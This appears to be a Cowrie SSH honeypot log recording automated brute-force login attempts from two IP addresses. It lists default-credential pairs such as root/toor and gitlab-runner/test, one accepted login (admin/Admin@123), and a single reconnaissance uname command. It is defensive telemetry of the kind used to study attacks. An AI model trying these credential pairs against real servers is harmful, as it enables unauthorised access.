{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56316,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5add95ab538","protocol":"ssh","message":"New connection: 91.92.42.133:56316 (159.203.135.109:22) [session: c5add95ab538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:03.606609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:03.643168Z","src_ip":"91.92.42.133","session":"c5add95ab538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:03.761357Z","src_ip":"91.92.42.133","session":"c5add95ab538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"1234","message":"login attempt [jenkins/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:04.124873Z","src_ip":"91.92.42.133","session":"c5add95ab538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49936,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdb6fec5cbb6","protocol":"ssh","message":"New connection: 91.92.40.171:49936 (159.203.135.109:22) [session: fdb6fec5cbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:04.281658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:04.295888Z","src_ip":"91.92.40.171","session":"fdb6fec5cbb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:05.271758Z","src_ip":"91.92.42.133","session":"c5add95ab538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:05.497947Z","src_ip":"91.92.40.171","session":"fdb6fec5cbb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44060,"dst_ip":"159.203.135.109","dst_port":22,"session":"3950ba2a5001","protocol":"ssh","message":"New connection: 91.92.40.171:44060 (159.203.135.109:22) [session: 3950ba2a5001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:08.272514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:08.421135Z","src_ip":"91.92.40.171","session":"3950ba2a5001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:08.425251Z","src_ip":"91.92.40.171","session":"3950ba2a5001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123","message":"login attempt [guest/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:09.341201Z","src_ip":"91.92.40.171","session":"3950ba2a5001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:10.268931Z","src_ip":"91.92.40.171","session":"fdb6fec5cbb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:10.442198Z","src_ip":"91.92.40.171","session":"3950ba2a5001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55542,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2abdf1f8310","protocol":"ssh","message":"New connection: 91.92.42.133:55542 (159.203.135.109:22) [session: c2abdf1f8310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:10.905949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:11.110770Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:11.114084Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:12.502126Z","src_ip":"91.92.40.171","session":"fdb6fec5cbb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:12.972661Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:13.871519Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:13.874395Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:14.336551Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:14.342605Z","src_ip":"91.92.42.133","session":"c2abdf1f8310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44136,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc0552a04df","protocol":"ssh","message":"New connection: 91.92.40.171:44136 (159.203.135.109:22) [session: ffc0552a04df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:16.069709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:16.208815Z","src_ip":"91.92.40.171","session":"ffc0552a04df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:17.314059Z","src_ip":"91.92.40.171","session":"ffc0552a04df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39408,"dst_ip":"159.203.135.109","dst_port":22,"session":"10d3231c8ad5","protocol":"ssh","message":"New connection: 91.92.42.133:39408 (159.203.135.109:22) [session: 10d3231c8ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:18.604509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:18.836111Z","src_ip":"91.92.42.133","session":"10d3231c8ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:18.839394Z","src_ip":"91.92.42.133","session":"10d3231c8ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:20.267123Z","src_ip":"91.92.42.133","session":"10d3231c8ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50282,"dst_ip":"159.203.135.109","dst_port":22,"session":"46cc45ffe27e","protocol":"ssh","message":"New connection: 91.92.40.171:50282 (159.203.135.109:22) [session: 46cc45ffe27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:21.083133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:21.229198Z","src_ip":"91.92.40.171","session":"46cc45ffe27e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:21.303271Z","src_ip":"91.92.40.171","session":"ffc0552a04df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:21.357482Z","src_ip":"91.92.42.133","session":"10d3231c8ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:22.078326Z","src_ip":"91.92.40.171","session":"46cc45ffe27e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:23.055696Z","src_ip":"91.92.40.171","session":"ffc0552a04df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48166,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c4872722acb","protocol":"ssh","message":"New connection: 91.92.40.171:48166 (159.203.135.109:22) [session: 5c4872722acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:25.756831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:25.877004Z","src_ip":"91.92.40.171","session":"5c4872722acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:25.879856Z","src_ip":"91.92.40.171","session":"5c4872722acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"test","message":"login attempt [gitlab-runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:26.197303Z","src_ip":"91.92.40.171","session":"46cc45ffe27e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33354,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ad529407442","protocol":"ssh","message":"New connection: 91.92.42.133:33354 (159.203.135.109:22) [session: 5ad529407442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:26.447839Z"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:26.845564Z","src_ip":"91.92.40.171","session":"5c4872722acb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:15:27.339553Z","src_ip":"91.92.42.133","session":"5ad529407442","protocol":"ssh"}
